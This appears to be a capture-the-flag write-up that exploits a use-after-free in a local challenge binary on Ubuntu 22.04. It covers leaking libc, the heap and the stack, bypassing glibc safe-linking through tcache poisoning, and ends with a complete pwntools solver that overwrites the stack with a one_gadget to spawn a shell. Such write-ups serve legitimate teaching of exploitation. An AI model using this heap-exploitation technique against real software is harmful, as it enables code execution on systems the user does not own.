uaf-22.04
Use-After-Free on Ubuntu 22.04, Bypassing Safe-Linking.
6 min read
[ + ]Introduction
This is a difficult challenge as we are dealing with a few things that are not present in uaf-20.04
. Since we are working with glibc 2.35, we must deal with "safe-linking" mitigation which is used to protect the heap's integrity. This means we not only need to leak libc, but also the heap base address, and the stack (since __free_hook
exploitation method was patched) for successful exploitation.
This is a very informative read, hope you enjoy.
[ + ]Reversing
Below you can find the decompiled code snippets, explanations, and details about the UAF vulnerability.
TL;DR - UAF vulnerability caused by not removing pointers to chunks on the heap from an array which is also referenced for read and write.
main
As shown in the image bellow, the program takes some input and it is check against numeric values. If the input matches, the respective subroutine is called.
add
Here we can see we are able to add a node.
At the top we see that the global array
is of size 0xF
. Then we allocate a chunk on the heap of any size less than 0x1FFF
. The pointer to the chunk is stored in array
and the size is stored in size_array
.
delete
Here we are able to delete nodes.
We can see that by providing some input less than 0xF
results in the freeing of the chunk from the pointer at array[v0]
. There is a crucial flaw here. The pointer is not removed from the array, leading to a UAF vulnerability as you will see in edit
and show
.
edit
Here we are able to edit a node.
The node is directly modified through the pointer at array[v1]
based on the input we provided. This would not be possible if the pointer was removed at delete
. This causes a UAF vulnerability since we are able to modify a chunk after it is freed.
show
Here we are able to show a node.
The node and size of the node is pulled from array
and size_array
respectively based on the input we provide. Since these arrays are not update in delete
. We can theoretically free
the chunks, and show them again in the show
subroutine.
[ + ]Exploiting
In order to exploit this UAF vulnerability there are a few steps.
- Leak libc
- Leak heap base address
- Leak the stack
- Modify the stack with a gadget found with
one_gadget
We also need to be mindful during exploitation that we have a limitation on the amount of chunks we can allocate due to the length of array
.
Let's start with leaking libc. This is exactly the same way of leaking libc as other exploitation methods - free a chunk of size greater than 0x408
such that it ends up in unsorted bins. We also need to protect top-chunk from swallowing the space with another chunk.
add(0x409) # 0
add(0x50) # 1
delete(0)
main_arena = int.from_bytes(show(0)[:7].strip(), "little")
glibc_base = main_arena - 0x219ce0
environ_addr = main_arena + 0x7520
log.info(f"main_arena: {hex(main_arena)}")
log.info(f"glibc_base: {hex(glibc_base)}")
log.info(f"environ_addr: {hex(environ_addr)}")
When looking at the heap, we see the following:
As show, we have a chunk in unsorted_bins
after being freed and successfully leaked libc.
Now let's look at leaking the heap.
# heap leak
add(0x20) # 2
delete(2)
add(0x20) # 3
heap_leak = int.from_bytes(show(3)[:5].strip(), "little") << 12
Let's take a look at what's going on on the heap after we run this code snippet.
Since we allocated some space, and freed the chunk, in the process some metadata about the heap state was stored in the chunk. When we re-allocate a new chunk, the same memory space will be reused, allowing us to leak the heap base.
For our final leak, let's take a look at how we can leak the stack.
# poison tcache
# fill previous chunk
add(0x20) # 4
add(0x20) # 5
add(0x20) # 6
delete(6)
delete(5)
delete(4)
add(0x20) # 7
# Calculate modified address to bypass "safe-linking"
curr = heap_leak + 0x300
fw = (curr >> 12) ^ environ_addr
buf = fw.to_bytes(8, "little")
# Change the linked-list pointer
edit(5, buf)
add(0x20) # 8
add(0x20) # 9
environ_stack_addr = int.from_bytes(show(9)[:8].strip(), "little")
log.info(f"environ_stack_addr: {hex(environ_stack_addr)}")
This is a little more complex. Effectively, we need to groom the FastBins
linked list such that we have the following in FastBins
:
[Chunk 4] <---- [Chunk 5] <---- [Chunk 6]
We can achieve this by freeing the chunks in reverse order. We then allocate Chunk 4
, removing it from FastBins
, calculate a modified forward pointer (bypassing safe-linking) pointing to environ_addr
, modify Chunk 5
with the new address, and allocate the remaining two chunks.
Step by step it looks like this:
----------------
| HEAP |
----------------
| Chunk 4 | (allocated)
----------------
| Chunk 5 | (de-allocated)
----------------
| Chunk 6 | (de-allocated)
----------------
FastBins
[Chunk 5] <---- [Chunk 6]
Then we modify the forward pointer address of chunk 6 such that the linked list looks as follows:
----------------
| HEAP |
----------------
| Chunk 4 | (allocated)
----------------
| Chunk 5 | (de-allocated)
----------------
| Chunk 6 | (de-allocated)
----------------
FastBins
[Chunk 5] |-- [Chunk 6]
|
[environ_addr] <--
We can see this in gdb
clearly as well:
Finally, we re-allocate those chunks and are able to leak the address.
In the process we also had to bypass the "safe-linking" mitigation. We can do this quite easily since we know the structure of the heap (it may be harder in other cases).
We can do this by using the offset of the previous chunk in the tcache (chunk 5) to encode our forward pointer address.
The general formula is as follows:
forward pointer = (current chunk address >> 12) ^ arbitrary address
Here is a good article explaining bypassing the "safe-linking" mitigation https://malware.news/t/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/40111.
Finally, we can use the same exploit to write to the stack. Here is the code:
add(0x80) # 10
add(0x80) # 11
add(0x80) # 12
delete(12)
delete(11)
delete(10)
add(0x80) # 13
curr = heap_leak + 0x3f0
fw = (curr >> 12) ^ (environ_stack_addr - 0x120 - 8)
edit(11, fw.to_bytes(8, "little"))
add(0x80) # 14
add(0x80) # 15
# one_gadget /lib/x86_64-linux-gnu/libc.so.6
# Somewhere writeable in ESB
edit(15, p64(heap_leak + 0x720 + 0x78) + p64(glibc_base + 0x50a37))
# Trigger exploit after overwrite
p.send(b"6\n")
We are effectively doing the same thing as previously, except we are modifying an address on the stack with the address of our one_gadget
. Additionally we need to specify an address for esb
that is writeable to satisfy the condition of one_gadget
.
Here is how we identified the offset using one_gadget
:
one_gadget /lib/x86_64-linux-gnu/libc.so.6
We can identify the offset from environ_stack_addr
by setting a breakpoint at the leave
instruction for main
and looking at the registers.
We can confirm that the exploit is working by breaking at main
's ret
instruction:
[ + ]Solution
Solver
from pwn import *
from pwnlib.util.packing import *
# Context
context.arch = 'amd64'
context.log_level = 'DEBUG'
def exploit():
def add(size: int):
p.send(b"1\n")
p.recvuntil(b"Size:\n")
p.send(str(size).encode() + b"\n")
p.recvuntil(b">")
def delete(index: int):
p.send(b"2\n")
p.recvuntil(b">")
p.send(str(index).encode() + b"\n")
p.recvuntil(b">")
def edit(index: int, data: bytes):
p.send(b"3\n")
p.recvuntil(b">")
p.send(str(index).encode() + b"\n")
p.recvuntil(b"Content:\n")
p.send(data)
p.recvuntil(b">")
def show(index: int):
p.send(b"4\n")
p.recvuntil(b">")
p.send(str(index).encode() + b"\n")
p.recvuntil(b"Content:\n")
return p.recvuntil(b">")
p = process("/tmp/lima/uaf2204/chal")
pause()
p.recvuntil(b">")
# leak glibc address
add(0x409) # 0
add(0x50) # 1
delete(0)
main_arena = int.from_bytes(show(0)[:7].strip(), "little")
glibc_base = main_arena - 0x219ce0
environ_addr = main_arena + 0x7520
log.info(f"main_arena: {hex(main_arena)}")
log.info(f"glibc_base: {hex(glibc_base)}")
log.info(f"environ_addr: {hex(environ_addr)}")
# heap leak
add(0x20) # 2
delete(2)
add(0x20) # 3
heap_leak = int.from_bytes(show(3)[:5].strip(), "little") << 12
log.info(f"heap_leak: {hex(heap_leak)}")
# poison tcache
# fill previous chunk
add(0x20) # 4
add(0x20) # 5
add(0x20) # 6
delete(6)
delete(5)
delete(4)
add(0x20) # 7
curr = heap_leak + 0x300
fw = (curr >> 12) ^ environ_addr
buf = fw.to_bytes(8, "little")
edit(5, buf)
add(0x20) # 8
add(0x20) # 9
environ_stack_addr = int.from_bytes(show(9)[:8].strip(), "little")
log.info(f"environ_stack_addr: {hex(environ_stack_addr)}")
add(0x80) # 10
add(0x80) # 11
add(0x80) # 12
delete(12)
delete(11)
delete(10)
add(0x80) # 13
curr = heap_leak + 0x3f0
fw = (curr >> 12) ^ (environ_stack_addr - 0x120 - 8)
edit(11, fw.to_bytes(8, "little"))
add(0x80) # 14
add(0x80) # 15
# one_gadget /lib/x86_64-linux-gnu/libc.so.6
# Somewhere writeable in ESB
edit(15, p64(heap_leak + 0x720 + 0x78) + p64(glibc_base + 0x50a37))
# Trigger exploit after overwrite
p.send(b"6\n")
p.interactive()
if __name__ == "__main__":
exploit()